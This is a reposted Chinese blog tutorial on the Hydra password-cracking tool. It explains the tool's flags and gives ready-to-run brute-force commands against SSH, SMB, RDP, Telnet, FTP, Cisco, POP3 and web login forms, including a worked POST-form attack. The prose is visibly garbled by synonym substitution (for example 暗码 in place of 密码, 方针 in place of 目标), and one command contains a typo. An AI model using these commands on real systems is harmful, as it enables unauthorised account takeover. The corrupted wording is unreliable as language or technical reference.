Hydra详细使用指南 8090安适门户
这个也是backtrack下面很受欢迎的一个工具
参数详解:
-R 按照上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定暗码破解
-P 指定暗码字典(文件)
-e 空暗码探测和指定用户暗码探测(ns)
-C 用户名可以用:支解(username:password)可以取代-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 方针IP
service 指定处事名(telnet ftp pop3 mssql mysql ssh ssh2......)
使用案例:
使用hydra破解ssh的暗码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
破解https:
# hydra -m /index.php -l username -P pass.txt IP https
破解teamspeak:
# hydra -l 用户名 -P 暗码字典 -s 端标语 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解telnet
# hydra IP telnet -l 用户 -P 暗码字典 -t 32 -s 23 -e ns -f -V
# hydra -L /root/user.txt -P /root/password.txt -t 10 -vV IP地点 telent(然后回车)
破解ftp:
# hydra IP ftp -l 用户名 -P 暗码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 暗码字典 -e ns -vV
get方法提交,破解web登录:
# hydra -l 用户名 -p 暗码字典 -t 线程 -vV -e ns IP http-get /admin/
# hydra -l 用户名 -p 暗码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方法提交,破解web登录:
该软件的强大之处就在于撑持多种协议的破解,同样也撑持对付web用户界面的登录破解,get方法提交的表单对照简单,这里通过post方法提交暗码破解供给思路。该工具有一个欠好的处所就是,如果方针网站登录时候需要验证码就无法破解了。带参数破解如下:
<form action="index.php" method="POST">
<input type="text" /><BR><br>
<input type="password" /><br><br>
<input type="submit" value="提交">
</form>
假设有以上一个暗码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
说明:破解的用户名是admin,暗码字典是pass.lst,破解功效生存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个暗码就遏制,ip 是本地,就是方针ip,http-post-form暗示破解是给与http 的post 方法提交的表单暗码破解。
后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是暗示错误猜解的返回信息提示,可以自界说。
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12921.html